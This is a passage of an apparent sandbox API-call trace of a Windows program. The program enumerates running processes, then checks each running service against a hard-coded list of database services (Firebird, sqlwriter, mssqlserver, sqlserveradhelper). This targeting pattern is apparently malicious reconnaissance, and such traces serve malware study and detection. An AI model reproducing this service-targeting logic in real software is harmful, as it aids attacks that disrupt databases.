lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0158.018] lstrlenW (lpString="audiodg.exe") returned 11 [0158.018] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.018] lstrlenW (lpString="svchost.exe") returned 11 [0158.018] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.019] lstrlenW (lpString="svchost.exe") returned 11 [0158.019] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0158.019] lstrlenW (lpString="spoolsv.exe") returned 11 [0158.019] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0158.019] lstrlenW (lpString="taskhost.exe") returned 12 [0158.019] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.020] lstrlenW (lpString="svchost.exe") returned 11 [0158.020] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0158.020] lstrlenW (lpString="userinit.exe") returned 12 [0158.020] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0158.020] lstrlenW (lpString="dwm.exe") returned 7 [0158.020] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0158.021] lstrlenW (lpString="explorer.exe") returned 12 [0158.021] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0158.021] lstrlenW (lpString="3G6885.exe") returned 10 [0158.021] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0158.021] lstrlenW (lpString="reader_sl.exe") returned 13 [0158.021] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0158.022] lstrlenW (lpString="drvinst.exe") returned 11 [0158.022] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0158.022] lstrlenW (lpString="taskhost.exe") returned 12 [0158.022] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0158.022] lstrlenW (lpString="consent.exe") returned 11 [0158.022] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0158.023] lstrlenW (lpString="dllhost.exe") returned 11 [0158.023] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0158.023] CloseHandle (hObject=0x334) returned 1 [0158.023] Sleep (dwMilliseconds=0x1f4) [0158.612] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3af1cc8 [0158.612] EnumServicesStatusExW (in: hSCManager=0x3af1cc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0158.613] GetLastError () returned 0xea [0158.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0158.613] EnumServicesStatusExW (in: hSCManager=0x3af1cc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0158.613] CloseServiceHandle (hSCObject=0x3af1cc8) returned 1 [0158.614] lstrlenW (lpString="Appinfo") returned 7 [0158.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0158.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0158.614] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0158.614] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0158.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0158.614] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0158.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.614] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0158.614] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0158.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0158.614] lstrlenW (lpString="AudioSrv") returned 8 [0158.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0158.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0158.615] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0158.615] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0158.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0158.615] lstrlenW (lpString="BFE") returned 3 [0158.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0158.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0158.615] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0158.615] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0158.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0158.615] lstrlenW (lpString="CryptSvc") returned 8 [0158.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0158.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0158.615] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0158.615] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0158.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0158.615] lstrlenW (lpString="CscService") returned 10 [0158.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0158.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0158.615] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0158.615] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0158.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0158.616] lstrlenW (lpString="DcomLaunch") returned 10 [0158.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.616] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0158.616] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0158.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0158.616] lstrlenW (lpString="Dhcp") returned 4 [0158.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0158.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0158.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0158.616] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0158.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0158.616] lstrlenW (lpString="Dnscache") returned 8 [0158.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0158.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0158.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0158.616] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0158.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0158.616] lstrlenW (lpString="DPS") returned 3 [0158.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0158.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0158.616] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0158.616] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0158.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0158.616] lstrlenW (lpString="eventlog") returned 8 [0158.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0158.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0158.616] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0158.616] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0158.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0158.616] lstrlenW (lpString="EventSystem") returned 11 [0158.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0158.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0158.617] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0158.617] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0158.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0158.617] lstrlenW (lpString="gpsvc") returned 5 [0158.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0158.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0158.617] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0158.617] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0158.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0158.617] lstrlenW (lpString="iphlpsvc") returned 8 [0158.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.617] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0158.617] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0158.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0158.617] lstrlenW (lpString="LanmanServer") returned 12 [0158.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0158.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0158.617] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0158.617] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0158.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0158.617] lstrlenW (lpString="LanmanWorkstation") returned 17 [0158.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.617] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0158.617] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0158.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0158.617] lstrlenW (lpString="lmhosts") returned 7 [0158.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0158.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0158.618] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0158.618] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0158.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0158.618] lstrlenW (lpString="MMCSS") returned 5 [0158.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0158.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0158.618] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0158.618] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0158.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0158.618] lstrlenW (lpString="MpsSvc") returned 6 [0158.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0158.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0158.618] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0158.618] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0158.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0158.618] lstrlenW (lpString="Netman") returned 6 [0158.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0158.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0158.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0158.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0158.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0158.618] lstrlenW (lpString="netprofm") returned 8 [0158.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0158.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0158.618] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0158.618] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0158.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0158.618] lstrlenW (lpString="NlaSvc") returned 6 [0158.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0158.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0158.619] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0158.619] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0158.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0158.619] lstrlenW (lpString="nsi") returned 3 [0158.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0158.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0158.619] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0158.619] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0158.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0158.619] lstrlenW (lpString="PcaSvc") returned 6 [0158.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0158.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0158.619] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0158.619] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0158.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0158.619] lstrlenW (lpString="PlugPlay") returned 8 [0158.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0158.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0158.619] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0158.619] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0158.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0158.619] lstrlenW (lpString="Power") returned 5 [0158.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0158.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0158.619] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0158.619] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0158.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0158.619] lstrlenW (lpString="ProfSvc") returned 7 [0158.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0158.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0158.620] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0158.620] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0158.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0158.620] lstrlenW (lpString="RpcEptMapper") returned 12 [0158.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.620] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0158.620] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0158.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0158.620] lstrlenW (lpString="RpcSs") returned 5 [0158.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0158.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0158.620] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0158.620] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0158.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0158.620] lstrlenW (lpString="SamSs") returned 5 [0158.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0158.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0158.620] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0158.620] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0158.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0158.621] lstrlenW (lpString="Schedule") returned 8 [0158.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0158.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0158.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0158.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0158.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0158.621] lstrlenW (lpString="SENS") returned 4 [0158.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0158.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0158.621] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0158.621] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0158.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0158.621] lstrlenW (lpString="ShellHWDetection") returned 16 [0158.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.621] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0158.621] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0158.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0158.621] lstrlenW (lpString="Spooler") returned 7 [0158.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0158.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0158.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0158.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0158.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0158.621] lstrlenW (lpString="SysMain") returned 7 [0158.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0158.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0158.621] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0158.621] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0158.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0158.621] lstrlenW (lpString="Themes") returned 6 [0158.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0158.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0158.622] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0158.622] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0158.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0158.622] lstrlenW (lpString="TrkWks") returned 6 [0158.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0158.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0158.622] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0158.622] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0158.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0158.622] lstrlenW (lpString="UxSms") returned 5 [0158.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0158.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0158.622] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0158.622] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0158.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0158.622] lstrlenW (lpString="WdiServiceHost") returned 14 [0158.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0158.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0158.622] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0158.622] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0158.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0158.622] lstrlenW (lpString="WdiSystemHost") returned 13 [0158.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0158.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0158.622] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0158.622] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0158.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0158.622] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0158.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0158.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0158.623] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0158.623] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0158.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0158.623] lstrlenW (lpString="Winmgmt") returned 7 [0158.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0158.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 